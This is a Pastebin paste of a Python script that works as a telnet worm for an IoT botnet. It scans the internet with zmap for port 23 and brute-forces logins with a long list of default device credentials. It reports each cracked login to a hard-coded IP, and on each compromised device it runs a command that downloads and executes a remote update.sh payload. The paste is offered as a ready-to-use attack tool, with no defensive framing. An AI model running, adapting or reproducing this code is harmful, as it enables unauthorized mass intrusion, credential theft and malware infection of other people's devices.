Advertisement
KekSec

TELNET SCANNER ZMAP

Nov 10th, 2020
1,892
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.66 KB | None | 0 0
  1. #!/usr/bin/python
  2. import threading, sys, os, re, time, random, socket, select, subprocess
  3. # USE ONLY 1 TO 16 THREADS UNLESS U WANNA CRASH UR SERVER
  4.  
  5. if len(sys.argv) < 3:
  6.     print "Usage: python "+sys.argv[0]+" <threads> <output file>"
  7.     sys.exit()
  8.  
  9. global rekdevice
  10. rekdevice = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl http://198.144.190.116/update.sh -O; busybox curl http://198.144.190.116/update.sh -O; wget http://198.144.190.116/update.sh -O update.sh; busybox wget http://198.144.190.116/update.sh -O update.sh; sh update.sh; rm -rf update.sh"
  11.  
  12. combo = [
  13.         "root:root",
  14.         "root:",
  15.         "admin:admin",
  16.         "telnet:telnet",
  17.         "support:support",
  18.         "user:user",
  19.         "admin:",
  20.         "admin:password",
  21.         "root:vizxv",
  22.         "root:admin",
  23.         "root:xc3511",
  24.         "root:888888",
  25.         "root:xmhdipc",
  26.         "root:default",
  27.         "root:juantech",
  28.         "root:123456",
  29.         "root:54321",
  30.         "root:12345",
  31.         "root:pass",
  32.         "ubnt:ubnt",
  33.         "root:klv1234",
  34.         "root:Zte521",
  35.         "root:hi3518",
  36.         "root:jvbzd",
  37.         "root:anko",
  38.         "root:zlxx.",
  39.         "root:7ujMko0vizxv",
  40.         "root:7ujMko0admin",
  41.         "root:system",
  42.         "root:ikwb",
  43.         "root:dreambox",
  44.         "root:user",
  45.         "root:realtek",
  46.         "root:00000000",
  47.         "admin:1111111",
  48.         "admin:1234",
  49.         "admin:12345",
  50.         "admin:54321",
  51.         "admin:123456",
  52.         "admin:7ujMko0admin",
  53.         "admin:1234",
  54.         "admin:pass",
  55.         "admin:meinsm",
  56.         "admin:admin1234",
  57.         "root:1111",
  58.         "admin:smcadmin",
  59.         "admin:1111",
  60.         "root:666666",
  61.         "root:password",
  62.         "root:1234",
  63.         "root:klv123",
  64.         "Administrator:admin",
  65.         "service:service",
  66.         "supervisor:supervisor",
  67.         "guest:guest",
  68.         "guest:12345",
  69.         "guest:12345",
  70.         "admin1:password",
  71.         "administrator:1234",
  72.         "666666:666666",
  73.         "888888:888888",
  74.         "tech:tech"
  75. #        "mother:fucker"
  76. ]
  77.  
  78. threads = int(sys.argv[1])
  79. output_file = sys.argv[2]
  80.  
  81. def readUntil(tn, string, timeout=8):
  82.     buf = ''
  83.     start_time = time.time()
  84.     while time.time() - start_time < timeout:
  85.         buf += tn.recv(1024)
  86.         time.sleep(0.1)
  87.         if string in buf: return buf
  88.     raise Exception('TIMEOUT!')
  89.  
  90. def recvTimeout(sock, size, timeout=8):
  91.     sock.setblocking(0)
  92.     ready = select.select([sock], [], [], timeout)
  93.     if ready[0]:
  94.         data = sock.recv(size)
  95.         return data
  96.     return ""
  97. global running
  98. running = 0
  99. global maxthreads
  100. maxthreads = 1024
  101. class router(threading.Thread):
  102.     def __init__ (self, ip):
  103.         threading.Thread.__init__(self)
  104.         self.ip = str(ip).rstrip('\n')
  105.     def run(self):
  106.         global running
  107.         global maxthreads
  108.         running += 1
  109.         global fh
  110.         username = ""
  111.         password = ""
  112.         for passwd in combo:
  113.             if ":n/a" in passwd:
  114.                 password=""
  115.             else:
  116.                 password=passwd.split(":")[1]
  117.             if "n/a:" in passwd:
  118.                 username=""
  119.             else:
  120.                 username=passwd.split(":")[0]
  121.             try:
  122.                 tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  123.                 tn.settimeout(1)
  124.                 tn.connect((self.ip, 23))
  125.             except Exception:
  126. #                tn.close()
  127.                 break
  128.             try:
  129.                 hoho = ''
  130.                 hoho += readUntil(tn, ":")
  131.                 if ":" in hoho:
  132.                     tn.send(username + "\r\n")
  133.                     time.sleep(0.1)
  134.                 else:
  135.                     tn.close()
  136.                     running -= 1
  137.                     return
  138.                 hoho = ''
  139.                 hoho += readUntil(tn, ":")
  140.                 if ":" in hoho:
  141.                     tn.send(password + "\r\n")
  142.                     time.sleep(0.1)
  143.                 prompt = ''
  144.                 prompt += recvTimeout(tn, 40960)
  145.                 if "#" in prompt or "$" in prompt:
  146.                     for bad in ["nvalid", "ailed", "ncorrect", "enied", "error", "goodbye", "bad", "timeout", "##"]:
  147.                         if bad in prompt.lower():
  148.                             print "\033[32m[\033[31m+\033[32m] \033[31mFAILED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  149.                             tn.close()
  150.                             continue
  151.                     success = True
  152.                 else:
  153.                     success = False
  154.                     tn.close()
  155.                 if success == True:
  156.                     try:
  157.                         print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  158.                         fh.write(self.ip + ":23 " + username + ":" + password + "\n")
  159.                         fh.flush()
  160.                         s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  161.                         s.connect(("198.144.190.116", 8080))
  162.                         s.send(self.ip + ":23 " + username + ":" + password + "\n")
  163.                         s.close()
  164.                         tn.send("sh\r\n")
  165.                         time.sleep(0.1)
  166.                         tn.send("shell\r\n")
  167.                         time.sleep(0.1)
  168.                         tn.send("ls /\r\n")
  169.                         time.sleep(1)
  170.                         timeout = 8
  171.                         buf = ''
  172.                         start_time = time.time()
  173.                         while time.time() - start_time < timeout:
  174.                             buf += recvTimeout(tn, 40960)
  175.                             time.sleep(0.1)
  176.                             if "tmp" in buf and "unrecognized" not in buf:
  177.                                 tn.send(rekdevice + "\r\n")
  178.                                 print "\033[32m[\033[31m+\033[32m] \033[33mINFECTED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  179.                                 f = open("infected.txt", "a")
  180.                                 f.write(self.ip + ":23 " + username + ":" + password + "\n")
  181.                                 f.close()
  182.                                 time.sleep(10)
  183.                                 tn.close()
  184.                                 running -= 1
  185.                                 return
  186.                         tn.close()
  187.                         running -= 1
  188.                         return
  189.                     except:
  190.                          pass
  191. #                        tn.close()
  192.                 else:
  193.                      pass
  194. #                    tn.close()
  195.             except:
  196.                  pass
  197. #                tn.close()
  198.             running -= 1
  199.  
  200. def worker():
  201.     while True:
  202.         cmd = "zmap -p23 -N 1024 -f saddr -q --verbosity=0"
  203.         process = subprocess.Popen(cmd.split(" "), stdout=subprocess.PIPE)
  204.         for line in iter(process.stdout.readline, ''):  # replace '' with b'' for Python 3
  205.             line = line.replace("\n", "")
  206.             while running >= maxthreads:
  207.                 time.sleep(0.1)
  208.             try:
  209.                 thread = router(line)
  210.                 thread.start()
  211.             except:
  212.                 pass
  213.  
  214.  
  215. global fh
  216. fh = open(output_file, "a")
  217. for l in xrange(threads):
  218.     try:
  219.         t = threading.Thread(target=worker)
  220.         t.start()
  221.     except:
  222.         pass
  223.  
  224. print "Started " + str(threads) + " scanner threads! Press enter to stop."
  225.  
  226. raw_input()
  227. os.kill(os.getpid(), 9)
  228.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement